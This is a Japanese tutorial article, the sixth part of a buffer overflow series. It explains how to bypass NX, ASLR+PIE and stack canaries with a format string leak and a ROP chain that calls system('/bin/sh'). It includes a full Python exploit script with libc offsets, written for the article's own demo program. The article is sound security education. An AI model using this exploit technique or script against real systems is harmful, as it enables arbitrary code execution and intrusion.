CPUのアーキテクチャから徹底解説 バッファオーバーフローで何が起こるか 第6回~対策をすりぬける攻撃(後編①)
まず、第5回からかなり時間が経過してしまい、この後編をお待ち頂いた方々に大変失礼いたしました。この場をお借りして、お詫び申し上げます。また、まだ前回の記事(第5回~対策をすりぬける攻撃(前編))をご覧になっていない方は、ぜひこの機会に当連載記事に目を通していただければと思います。
さて、いよいよ本連載は最終回となります。バッファオーバーフロー対策をすべてすりぬける攻撃例を紹介します。なお、前編およびこの後編にわたり、コード実装については「ももいろテクノロジー」様のプログラムコードを参考に致しました。この場を借りて、ブログの執筆者様に厚く御礼申し上げます。
参考: https://inaz2.hatenablog.com/entry/2014/07/01/013640、他
第5回の前編では、バッファオーバーフローの脆弱性コード(脆弱性を持つプログラム、以下、同)を紹介しました。プログラム開発者はこうした脆弱性を持たないよう、日夜セキュア・プログラミングをめざして精進しています。それでも防ぎきれない脆弱性が残ってしまうことは起こりえますし、攻撃者は常にその隙間をすりぬけようとします。この後編では、前編で示した脆弱性コードへの具体的な攻撃の手順を示し、実際に攻撃されるとどのようなことが起こるのかを紹介します。 なお、本記事の内容は、バッファオーバーフロー脆弱性の脅威や影響範囲を知っていただく目的で記載しており、悪用を前提とした模倣や脅威を助長するような意図は一切ございません。また下記を精読頂ければ、ここで扱う脆弱性コードやその対策の影響範囲が、CPUアーキテクチャ、OS、ライブラリ等のミドルウェアを含めた、システム全般の稼働状況に及ぼしうることがご理解いただけると思います。従いまして、この記事の趣旨を十分にご理解いただいたうえで決して悪用されないようお願いします。
バッファオーバーフロー対策とすり抜け方法
前編では、バッファオーバーフロー脆弱性を持つC言語コード「weak.c」を実例として示し(「脆弱性コードの実例」)、その対策(表2)を解説した上でそれらの対策をすりぬける方法を紹介しました(「コードに対する攻撃」)。その一覧を改めて表3にまとめました。前編の終わりの説明や図と合わせて参照ください。
No. | 対策 | 内容 | すり抜け方法 |
1 | NX | スタック上にプログラムを配置されることへの対策。NX bit によってスタック上のプログラム実行を抑止する。 | libcや実行ファイルのプログラムの実行が禁止できないことを利用し、すり抜ける。 |
2 | ASLR (+PIE) | libcや実行ファイルのプログラムを不正に利用されることを抑止。プログラムのアドレスを実行のたびにランダムにすることで攻撃者はどのアドレスで上書きすればよいかがわからなくなる。このことによりプログラムの不正利用が難しくなる。 | 配置位置はランダムだが、各関数のプログラム先頭からの相対アドレス(アドレスのオフセット)は変わらないことを利用し、libcのsystem()関数のアドレスと、不正実行されるプログラムのオフセットを不正入手して、すり抜ける。オフセット値入手にはFSA (Format String Attack)を利用。 |
3 | SSP | プログラム実行開始時に識別したcanary値による制御情報の書き換えが検知される。プログラムはcanaryの値が変われば制御情報も書き換えられたと判定し、即時終了する。これが制御情報の書き換えによる攻撃を困難にしている。 | Improper Null Terminationの脆弱性を利用しcanaryを読み取っておき、不正実行のスタック書き換え時に、このcanary値を改めて上書きすることで、不正実行時にcanary書き換えが検知されず、すりぬけられるようになる。 |
攻撃の実際について
以下の攻撃では、上記で整理した3つの対策 (NX, ASLR(+PIE), SSP)をすべてすり抜けた上で、脆弱性コードに外部コマンド「/bin/sh」を実行させます。つまり、脆弱性コード「weak.c」上に「/bin/sh」コマンド実行は実装されていないにも関わらず、攻撃成功時に脆弱性コードは「/bin/sh」コマンドを実行できるようになります。これは脆弱性情報でよく見る「任意のコード実行を可能とする」実例と言えます。
攻撃のスキームについて
脆弱性コードが最終的に「/bin/sh」を不正実行するまでの攻撃のスキームを図5に表しています。
スキーム全体は、コード脆弱性のImproper Null Termination(前編の表1 No.3参照)、Format String Attack (同No.4)を利用し、漏えいしたリターンアドレスから、標準Cライブラリ(libc)上の「/bin/sh」と「rop (Return Oriented Programming) gadget」 (同No.5) 命令のアドレスを求めて実行する、という流れになります。攻撃中は同じく漏えいで得たcanary値を用い、SSP対策(本講表1 No.3参照)のチェック時は正しいcanary値を書き込むことですり抜けます。
攻撃#1では、脆弱性コードweak.c 17行目のprintf()実行時にcanary値と「weak.c」のリターンアドレスを入手します。
そのための仕掛けが15行目にbuffer変数にgets()で代入される21バイトの文字列 “%21$08x”(7)-“A”(14連結)です。この文字列で、なぜcanary値とリターンアドレスが出力されるか、説明しましょう。
「weak.c」のbufferサイズ20バイトを超えるため、strncpy()(16行目)の実行で、line領域の終端文字 “0x00” が “A”(=0x41) で上書きされます。この状態で17行目のprintf()が実行されると、Improper Null Terminationにより、終端文字 “0x00” がないまま canary値まで出力されます。
またprintf()は書式文字列 “%21$08x” を解釈するため、printfにとって21番目の引数がちょうど「weak.c」のリターンアドレスであり(同時にこれは、後述の通りlibcの__libc_start_main()アドレスです)、それが出力される、というわけです。
攻撃#2は、23行目のreturn実行時に、改ざん済みの「rop gadget」アドレスにリターンし、その引数である「/bin/sh」が実行されます。
攻撃#1 (脆弱性コード17行目)に不正入手したリターンアドレスは、libc(標準Cライブラリ)の__libc_start_main()アドレスであることを利用し、攻撃コードが事前情報として所有するlibc内の「/bin/sh」と「rop gadget」のオフセット値から、これらのアドレスを算出します。
20行目のgets(line)実行時には、canary値を正しい値に上書きし、リターンアドレスの部分に「rop gadget」アドレスを、引数の部分に「/bin/sh」アドレスを、それぞれ上書きしておきます。 この状態で23行目のreturn実行時には、攻撃コードの目的である「/bin/sh」が不正に実行開始されます。
攻撃に使うコードについて
今回の攻撃に使うコードは以下のPythonスクリプトです(以下、攻撃コードと呼びます)。攻撃コードの詳細説明は省略しますので、アルゴリズム内容の理解やコードリーディングは各々お願いいたします。 攻撃の流れは、97行目~117行目の mainメソッド(C言語で言う、関数のようなもの)に各機能別にクラスとメソッドを実装しています。
1 #!/usr/bin/env python3
2 # exploit.py
3
4 import sys
5 import struct
6 from enum import Enum
7 from subprocess import Popen, PIPE
8
9 bufsize = int(sys.argv[1])
10
11 class LibcOffsets(Enum):
12 # system 関数のオフセット
13 # nm -D /lib/arm-linux-gnueabihf/libc.so.6 | grep \ system
14 system = 0x000389b8
15
16 # /bin/sh 文字列のオフセット
17 # strings -tx /lib/arm-linux-gnueabihf/libc.so.6 | grep /bin/sh
18 binsh = 0x12b3dc
19
20 # libc rop gadget のオフセット
21 # ropper -f /lib/arm-linux-gnueabihf/libc.so.6 --search pop\ {r0
22 ropgadget = 0x0007905c
23
24 # __libc_start_main 関数と、実行ファイルから __libc_start_main に戻る箇所の
25 # オフセット。 gdb で戻り直後のアドレスを得ることでオフセットを計算する。
26 start_main_return = 268
27
28 # __libc_start_main 関数のオフセット
29 # objdump -d /lib/arm-linux-gnueabihf/libc.so.6 | \
30 # grep __libc_start_main | head -n 1
31 libc_start_main = 0x0001760c
32
33 class LibcBase(object):
34 def __init__(self, main_lp_value: int):
35 self.lp = main_lp_value
36 self.libc_start_main = self.lp - LibcOffsets.start_main_return.value
37 self.address = self.libc_start_main - LibcOffsets.libc_start_main.value
38
39 class LibcAddressCalc(object):
40 def __init__(self, libc_base: LibcBase):
41 self.base = libc_base
42 self.system = libc_base.address + LibcOffsets.system.value
43 self.binsh = libc_base.address + LibcOffsets.binsh.value
44 self.ropgadget = libc_base.address + LibcOffsets.ropgadget.value
45
46 class TargetProcess(object):
47 def __init__(self):
48 self.p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE, bufsize=0)
49 self.print_count = 0
50 self.pid = self.p.pid
51
52 def input_bytes(self: 'TargetProcess', b: bytes):
53 self.__print_input(b)
54 self.p.stdin.write(b)
55
56 def input_str(self: 'TargetProcess', s: str):
57 b = bytes(s, 'ascii')
58 self.__print_input(b)
59 self.p.stdin.write(b)
60
61 def close(self):
62 (out, err) = self.p.communicate()
63
64 def print_output(self: 'TargetProcess') -> bytes:
65 line_bytes = self.p.stdout.readline()
66 print(f'[process stdout] {line_bytes}')
67 return line_bytes
68
69 def __print_input(self: 'TargetProcess', b: bytes):
70 print(f'[process stdin] {b}')
71
72 def make_fsa_strings(size: int) -> (str, int):
73 buf = '%21$08x'
74 buf_a = 'A' * (size - len(buf))
75 buf = buf + buf_a
76 return buf, len(buf_a)+8
77
78 def parse_output(d: bytes, ln: int) -> (LibcBase, bytes):
79 libc_base = LibcBase(int(d[0:8], 16))
80 canary = bytes(1) + d[ln:ln+3]
81 return libc_base, canary
82
83 def make_bof_bytes(size: int, canary: bytes, libc_base: LibcBase) -> bytes:
84 addresses = LibcAddressCalc(libc_base)
85
86 line: bytes = bytes('A' * (bufsize - 1), 'ascii')
87 line = line + canary
88 line = line + bytes(12)
89 line = line + struct.pack('<I', addresses.ropgadget)
90 line = line + struct.pack('<I', addresses.binsh)
91 line = line + bytes('AAAA', 'ascii')
92 line = line + struct.pack('<I', addresses.system)
93 line = line + bytes('\n', 'ascii')
94
95 return line
96
97 def main():
98 target = TargetProcess()
99 print(f'a.out pid: {target.pid}')
100 input('input any to start. >')
101
102 (buf, expect_len) = make_fsa_strings(bufsize)
103 target.input_str(f'{len(buf)}\n')
104 target.input_str(f'{buf}\n')
105 line = target.print_output()
106 target.print_output()
107
108 (libc_base, canary) = parse_output(line, expect_len)
109 print(f'[attack code output] libc_start_main return address = {libc_base.lp:08x}')
110 print(f'[attack code output] libc base address = {libc_base.address:08x}')
111 print(f'[attack code output] canary = {repr(canary)}')
112
113 target.input_bytes(make_bof_bytes(bufsize, canary, libc_base))
114 target.print_output()
115 target.input_str('id\n')
116 target.print_output()
117 target.close()
118
119 if __name__ == '__main__':
120 main()
このmain()メソッド(上記97-117行目)の部分の動きを中心に、実際の攻撃コードの動きからバッファオーバーフロー攻撃方法を説明します。mainメソッドは主に以下4つのステップで構成されています。また脆弱性コードとの関連は、図5のオレンジの各Stepのボックスを参照ください。
【Step1】 データ漏えいを意図した文字列を準備する(上記リストの102~106行目抜粋)
102 (buf, expect_len) = make_fsa_strings(bufsize)
103 target.input_str(f'{len(buf)}\n')
104 target.input_str(f'{buf}\n')
105 line = target.print_output()
106 target.print_output()
【Step2】 漏えいしたデータをヒントに脆弱性コードに実行させたい標準関数のアドレスを計算する(上記リストの108行目抜粋)
108 (libc_base, canary) = parse_output(line, expect_len)
【Step3】 バッファオーバーフロー攻撃の文字列を組み立てる(上記リストの113行目抜粋)
【Step4】 バッファオーバーフロー攻撃の実行(上記リストの113行目抜粋)
113 target.input_bytes(make_bof_bytes(bufsize, canary, libc_base))
今回はここまでにします。
次回は、各ステップについて詳細に説明します。
著者
株式会社ATTC(エーティーティーシー) 尾關晃充
元々はWebアプリケーションのサーバサイドエンジニアだった。
ATTC入社後はセキュリティ製品開発に携わっている。
現在は「ATTC Control Flow Integrity」の開発担当を務め
セキュリティや脆弱性対策に取り組んでいる。
株式会社ATTC(エーティーティーシー) 飯嶋弘久
暗号をコアとする情報セキュリティの理論と応用、決済セキュリティ、組み込み系IoT等の専門領域でR&D、コンサルティング、テクニカルサポート等に従事。工学博士(電子工学)
「CPUのアーキテクチャから徹底解説 バッファオーバーフローで何が起こるか」の最新話は、メールマガジンにてもご案内致しています。是非JAPANSecuritySummit Updateのメールマガジンにご登録ください。
メールマガジンの登録はこちらからお願いします。